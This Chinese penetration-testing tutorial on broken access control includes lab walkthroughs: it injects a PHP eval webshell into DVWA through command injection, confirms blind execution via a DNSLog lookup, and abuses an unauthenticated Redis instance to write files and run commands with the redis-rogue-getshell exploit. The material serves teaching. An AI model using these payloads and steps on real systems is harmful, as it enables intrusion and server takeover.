失效的访问控制

news2024/11/20 14:22:10

文章目录

  • 渗透测试漏洞原理
  • 失效的访问控制
    • 1. 失效的访问控制
      • 1.1 OWASP TOP 10
        • 1.1.1 A5:2017-Broken Access Control
        • 1.1.2 A01:2021-Broken Access Control
      • 1.2 失效的访问控制类别
        • 1.2.1 水平越权
        • 1.2.2 垂直越权
      • 1.3 攻防案例
        • 1.3.1 DVWA越权
      • 1.4 相关漏洞
        • 1.4.1 目录遍历
        • 1.4.2 未授权访问
      • 1.5 总结
    • 2. 未授权访问
      • 2.1 Redis未授权访问
        • 2.1.1 Redis 介绍
        • 2.1.2 Redis 简单使用
        • 2.1.3 Redis 未授权访问
      • 2.2 经典案例
        • 2.2.1 执行系统命令

渗透测试漏洞原理

失效的访问控制

在这里插入图片描述

1. 失效的访问控制

应该对Web 应用（系统等）实施访问控制策略，限定不同用户的不同权限（访问范围）。如果没控制住，就意味着访问控制失效。

1.1 OWASP TOP 10

1.1.1 A5:2017-Broken Access Control

​ 未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据，例如：访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

1.1.2 A01:2021-Broken Access Control

​ 访问控制强制实施策略，使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

1.2 失效的访问控制类别

权限移动方向

1.2.1 水平越权

同级别账户中横向移动。

web应用

1.2.2 垂直越权

普通用户获取管理员权限。

操作系统漏洞提权

1.3 攻防案例

1.3.1 DVWA越权

POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 
Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
Connection: close
Upgrade-Insecure-Requests: 1 
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded 
Content-Length: 77

ip=127.0.0.0.1|echo+"<?php+@eval($_REQUEST[777])?>"+>+shell.php&Submit=Submit

ctrl+u：url编码

实验：DVWA靶场中的Command Injection为例

Low级别的源码路径如下

image-20230901155516774

查看源码

image-20230901155852511

退出DVWA靶场

image-20230901155613045

然后访问Low.php该文件的路径，使用bp抓取数据包

image-20230901155734968

删除Cookie数据，因为Cookie携带者身份信息。

转换为POST提交方式，因为源码中是Post提交。

image-20230901155947878

执行命令calc

calc：表示计算器

如果命令执行成功那么在服务器端就会弹出计算器

在这里插入图片描述

并且在执行完命令后，页面并没有回显。

问题：那么既然没有回显，是如何验证该漏洞是否存在？

方式一：在当前页面新建文件，如果文件创建成功，证明漏洞存在。

image-20230901161301402

说明：由于有特殊字符使用快捷键ctrl+u进行URL编码

image-20230901161249469

方式二：由于创建文件的动作过大可以使用平台的方式。

网站链接入下：DNSLog Platform。

先创建一个域名

image-20230901161815930

使用域名解析：

nslookup mya6wo.dnslog.cn

image-20230901162010413

如何页面中产生解析记录，代表我们的命令执行成功。从而证明该漏洞的存在。

image-20230901162027321

既然漏洞存在我们可以尝试创建一个一句话木马文件。

echo "<?php @eval($_REQUEST[777])?>" > shell.php

image-20230901162652035

上传成功

在这里插入图片描述

蚁剑链接成功

http://192.168.188.183/dvwa/vulnerabilities/exec/source/shell.php

image-20230901162927883

虚拟终端

image-20230901162957644

1.4 相关漏洞

1.4.1 目录遍历

​ 目录穿越，目录遍历，Directory Traversal。Web用户，通过某种方式，可以访问Web根目录以外的文件，甚至执行系统命令。

造成目录遍历漏洞的原因：

  • 文件包含

  • 文件读取

  • RCE

  • …

1.4.2 未授权访问

​ 未授权访问（Unauthorized Access），重要资产根本没有做访问控制限制，导致黑客攻击者可以在没有授权的情况下操作重要资产，包括读写文件，执行命令等敏感操作。

这个漏洞比较倾向于数据库的相关问题。

1.5 总结

失效的访问控制漏洞：

  1. 漏洞描述：失效的访问控制漏洞是指系统在实施访问控制策略时出现错误或缺陷，导致攻击者能够绕过或越权访问敏感资源。这些错误可能包括缺乏有效的身份验证、授权检查不完整或不正确配置的访问控制列表（ACL）等。
  2. 漏洞场景：失效的访问控制漏洞通常存在于需要对用户身份验证、会话管理、文件或目录访问控制以及其他敏感操作进行控制的应用程序或系统中。例如，一个电子商务网站可能存在允许未经授权的用户访问订单信息的漏洞。
  3. 漏洞原理：失效的访问控制漏洞的原理在于系统未能正确实施访问控制策略。这可能是由于设计错误、实现缺陷或配置错误等导致的。例如，一个系统可能没有正确验证用户的身份，允许未经授权的用户获得访问权限。
  4. 漏洞危害：失效的访问控制漏洞可能导致严重的安全威胁。以下是一些可能的危害：
    • 数据泄露：攻击者可以访问敏感数据，如用户个人信息、信用卡号码等。
    • 数据篡改：攻击者可能修改数据，影响数据的完整性和可靠性。
    • 越权访问：攻击者可以获得比其正常权限更高的访问权限，例如管理员权限。
    • 服务拒绝：攻击者可能通过滥用访问控制缺陷来拒绝合法用户的服务。
  5. 漏洞验证：验证失效的访问控制漏洞通常需要模拟攻击者的行为并尝试绕过系统的访问控制策略。这包括使用未经授权的身份验证、尝试越权访问或进行非法操作等方式，以检测系统是否容易受到此类漏洞的利用。
  6. 利用方法：攻击者利用失效的访问控制漏洞可能采取多种方法：
    • 绕过身份验证：攻击者可能利用系统设计或实现缺陷，绕过身份验证机制，获得未经授权的访问权限。
    • 直接访问敏感资源：攻击者可以直接通过URL或其他方式访问敏感资源，而不需要经过任何授权检查。
    • 水平越权：攻击者使用合法用户的身份，但越过了其权限范围，访问其他用户的资源。
    • 垂直越权：攻击者以低权限用户的身份，尝试通过利用系统漏洞或错误配置来提升其权限。
  7. 漏洞防御：为了防止失效的访问控制漏洞的出现，可以采取以下防御措施：
    • 实施完整的身份验证和会话管理机制，确保仅经过身份验证且有授权的用户能够访问系统。
    • 严格限制资源访问权限，并定期审查和更新访问控制列表（ACL）。
    • 对敏感操作和数据进行额外的保护，例如使用多因素身份验证、加密等措施。
    • 定期进行安全审计和漏洞扫描，及时修复和更新系统中的安全问题。
    • 参考访问控制的最佳实践和安全框架来指导系统设计和开发过程。

综上所述，失效的访问控制漏洞可能对系统安全性造成严重威胁。了解其描述、场景、原理、危害、验证方法、利用方式和防御措施是确保系统安全的重要一步。及时发现和修复这些漏洞，以保护系统和用户的数据安全。

2. 未授权访问

2.1 Redis未授权访问

2.1.1 Redis 介绍

Rdis是非关系型数据库系统，没有库表列的逻辑结构，仅仅以键值对的方式存储数据。

Redis数据库经常用于Web应用的缓存。

Redis可以与文件系统进行交互。

Redis监听TCP/6379。

Redis数据库默认端口：6379。

2.1.2 Redis 简单使用

Redis 未设置密码，客户端工具可以直接链接。

┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name WUHU OK
127.0.0.1:6379> get name "WUHU"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename ajest.txt OK
127.0.0.1:6379> save OK
127.0.0.1:6379>

2.1.3 Redis 未授权访问

读取数据库内容读写系统文件执行系统命令
数据泄露直接写WebShell
计划任务反弹Shell
SSH免密登录		redis-rogue-getshell

2.2 经典案例

image-20230901164207685

启动镜像

image-20230901164226020

服务启动后，通过以下方法在没有凭据的情况下连接到此服务器

redis-cli -h 127.0.0.1

-h：表示连接本机的redis数据库。

image-20230901164524685

并且直接可以看到服务器的信息

image-20230901164610699

Redis数据库还可以读写文件

执行如下命令：

set name xjj

config set dir /tmp/		

config set dbfilename wuhu.txt 

save

将数据库中的内容存储在tmp目录下的wuhu.txt文件中。

image-20230901165143856

因为连接的是Docker容器的Redis数据库，登录到Docker容器中查看该文件是否存在。

sudo docker exec -it 4447cf636b92 /bin/bash

it后面根容器的ID值

image-20230901165353417

查看wuhu.txt

在这里插入图片描述

这样Redis数据库就存在数据泄露。

2.2.1 执行系统命令

下载脚本

proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git

先编译

cd RedisModulesSDK
make

执行命令

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.188.185 -P 8888 -f RedisModulesSDK/exp.so -c "id"

image-20230901173655689

更换双引号内容的命令，就实现了漏洞的利用。

漏洞检测工具：github链接地址。

启动方式：

python3 unauthorized_com.py -i 127.0.0.1

image-20230901203508800

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/961613.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

泥石流山体滑坡监控视觉识别检测算法

泥石流山体滑坡监控视觉识别检测算法

泥石流山体滑坡监控视觉识别检测算法通过yolov8python深度学习框架模型&#xff0c;泥石流山体滑坡监控视觉识别检测算法识别到泥石流及山体滑坡灾害事件的发生&#xff0c;算法会立即进行图像抓拍&#xff0c;并及时进行预警。Yolo的源码是用C实现的&#xff0c;但是好在Githu…
阅读更多...
解决Echarts中双坐标轴分割错位问题

解决Echarts中双坐标轴分割错位问题

1、处理函数 /*** Description 刻度最大值* date 2023-08-30* param {any} isNaN(maxValue/1* returns {any}*/ export const getYAxisMax (maxValue): number > {if (isNaN(maxValue / 1) || maxValue / 1 < 10) {return 10;}const max: any Math.ceil(maxValue) ;c…
阅读更多...
Vue框架--Vue中el和data的两种写法

Vue框架--Vue中el和data的两种写法

data与el的2种写法 1.el有2种写法 (1).new Vue时候配置el属性。 (2).先创建Vue实例&#xff0c;随后再通过vm.$mount(#root)指定el的值。 2.data有2种写法 (1).对象式 (2).函数式 如何选择&#xff1a;目前哪种写法都可以&#xff0c;以后学习到组件时&#xff…
阅读更多...
Redis-Cluster集群操作--添加节点

Redis-Cluster集群操作--添加节点

一、环境部署 部署好Redis-Cluster集群&#xff0c;参考上个本人的博客&#xff1a;Redis-Cluster集群的部署&#xff08;详细步骤&#xff09;_是胡也是福的博客-CSDN博客 新准备一台机器&#xff0c;修改主机名&#xff0c;关闭防火墙和selinux&#xff0c;参考&#xff1a…
阅读更多...
stm32 iap sd卡升级

stm32 iap sd卡升级

参考&#xff1a;STM32F4 IAP 跳转 APP问题_stm32程序跳转_古城码农的博客-CSDN博客 app程序改两个位置 1.程序首地址&#xff1a; 2.改中断向量表位移&#xff0c;偏移量和上面一样就可以 然后编译成bin文件就可以了
阅读更多...
云原生Kubernetes:二进制部署K8S单Master架构（二）

云原生Kubernetes:二进制部署K8S单Master架构（二）

目录 一、理论 1.K8S单Master架构 2.部署 master 组件 3.部署 Woker Node 组件 4.在master1节点上操作 5.在 node01 节点上操作 6.在 master01 节点上操作 7.在 node01 节点上操作 8.node02 节点部署&#xff08;方法一&#xff09; 二、实验 1.环境 2.部署 master …
阅读更多...
使用Python对数据的操作转换

使用Python对数据的操作转换

1、列表加值转字典 在Python中&#xff0c;将列表的值转换为字典的键可以使用以下代码&#xff1a; myList ["name", "age", "location"] myDict {k: None for k in myList} print(myDict) 输出&#xff1a; {name: None, age: None, loca…
阅读更多...
10. 微积分 - 微分链式法则

10. 微积分 - 微分链式法则

文章目录 微分链式法则Hi， 大家好。我是茶桁。 我们上节课讲了导数，并且在最后预告了今天的内容。今天将会是两部分，一部分是「微分」，一部分是「链式法则」。 微分 微分,我们在导论里面提过。它和导数比较像，但是还是有差别的。实际的定义和内容都比较简单，我们先来看…
阅读更多...
【数据结构——树】二叉树的遍历（前序、中序、后序、层序）迭代+递归

【数据结构——树】二叉树的遍历（前序、中序、后序、层序）迭代+递归

文章目录 二叉树的定义二叉树的遍历方式前序遍历递归DFS迭代&#xff08;栈&#xff09; 中序遍历递归DFS迭代&#xff08;栈&#xff09; 后序遍历递归DFS迭代&#xff08;栈&#xff09; 层序遍历迭代&#xff08;队列&#xff09; 二叉树的定义 二叉树是一种常见的树状数据…
阅读更多...
MySQL表的增删查改以及基本查询样例

MySQL表的增删查改以及基本查询样例

文章目录 表的增删查改创建表插入单行全列数据插入多行指定列数据插入失败则更新替换 select全列查询指定列查询查询字段为表达式为查询结果指定别名查询结果去重 where数学小于60的英语在70到100之间的名字为王开头的总分在 200 分以下的语文成绩 > 80 并且不姓王的 结果排…
阅读更多...
IDEA设置文件编码

IDEA设置文件编码

IDEA设置文件编码 File->Settings->Editor->File Encodings 均设置为utf-8 新项目 设置 文件编码 点击New Projects Setup 再点击Settings for New Projects File->Settings->Editor->File Encodings 均设置为utf-8
阅读更多...
Spring-TX 事务

Spring-TX 事务

目录 一、事务的种类 二、Spring事务管理器 三、事务注解使用 四、事务注解属性 一、事务的种类 1.编程式事务 所谓编程式事务就是用代码手写事务&#xff0c;包含了事务的开始&#xff0c;具体事务&#xff0c;事务的提交和事务的回滚。在这期间就会产生一些冗余问题&am…
阅读更多...
Redis 7 第六讲 主从模式（replica）

Redis 7 第六讲 主从模式（replica）

🌹🌹🌹 此篇开始进入高级篇范围(❤艸｀❤) 理论 即主从复制，master以写为主，Slave以读为主。当master数据变化的时候，自动将新的数据异步同步到其它slave数据库。 使用场景 读写分离 容灾备份数据备份水平扩容主从架构 演示案例 注：masterauth、replicaof主…
阅读更多...
pytorch如何使用Focal Loss

pytorch如何使用Focal Loss

Focal loss 是 文章 Focal Loss for Dense Object Detection 中提出对简单样本的进行decay的一种损失函数。是对标准的Cross Entropy Loss 的一种改进。 FL对于简单样本&#xff08;p比较大&#xff09;回应较小的loss。 如论文中的图1&#xff0c; 在p0.6时&#xff0c; 标准的…
阅读更多...
openGauss学习笔记-57 openGauss 高级特性-并行查询

openGauss学习笔记-57 openGauss 高级特性-并行查询

文章目录 openGauss学习笔记-57 openGauss 高级特性-并行查询57.1 适用场景与限制57.2 资源对SMP性能的影响57.3 其他因素对SMP性能的影响57.4 配置步骤 openGauss学习笔记-57 openGauss 高级特性-并行查询 openGauss的SMP并行技术是一种利用计算机多核CPU架构来实现多线程并行…
阅读更多...
使用Vue3和Vite升级你的Vue2+Webpack项目

使用Vue3和Vite升级你的Vue2+Webpack项目

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…
阅读更多...
十一、做高并发内存池项目过程中遇到的bug以及调试bug的方法和心得

十一、做高并发内存池项目过程中遇到的bug以及调试bug的方法和心得

十一、做高并发内存池项目过程中遇到的bug以及调试bug的方法和心得 第一个bug是内存问题&#xff0c;程序直接崩溃&#xff0c;问题出现在&#xff1a;GetOneSpan函数中的切分span的时候结尾的span1的next没有置空。 第二个bug是还小内存块给span的时候找不到小内存所属的spa…
阅读更多...
深入理解 JVM 之——Java 内存区域与溢出异常

深入理解 JVM 之——Java 内存区域与溢出异常

更好的阅读体验 \huge{\color{red}{更好的阅读体验}} 更好的阅读体验 本篇为深入理解 Java 虚拟机第二章内容&#xff0c;推荐在学习前先掌握基础的 Linux 操作、编译原理、计算机组成原理等计算机基础以及扎实的 C/C 功底。 该系列的 GitHub 仓库&#xff1a;https://github…
阅读更多...
LVS 实现四层负载均衡项目实战--DR模式（直接路由Direct Routing）

LVS 实现四层负载均衡项目实战--DR模式（直接路由Direct Routing）

一、原理 负载均衡器和RS都使用同一个IP对外服务&#xff61;但只有DB对ARP请求进行响应,所有RS对本身这个IP的ARP请求保持静默&#xff61;也就是说,网关会把对这个服务IP的请求全部定向给DB,而DB收到数据包后根据调度算法,找出对应的RS,把目的MAC地址改为RS的MAC&#xff08…
阅读更多...
MacOS 为指定应用添加指定权限（浏览器无法使用摄像头、麦克风终极解决方案）

MacOS 为指定应用添加指定权限（浏览器无法使用摄像头、麦克风终极解决方案）

起因&#xff1a;需要浏览器在线做一些测评&#xff0c;但我的 Chrome 没有摄像头/麦克风权限&#xff0c;并且在设置中是没有手动添加按钮的。 我尝试了重装软件&#xff0c;更新系统&#xff08;上面的 13.5 就是这么来的&#xff0c;我本来都半年懒得更新系统了&#xff09…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023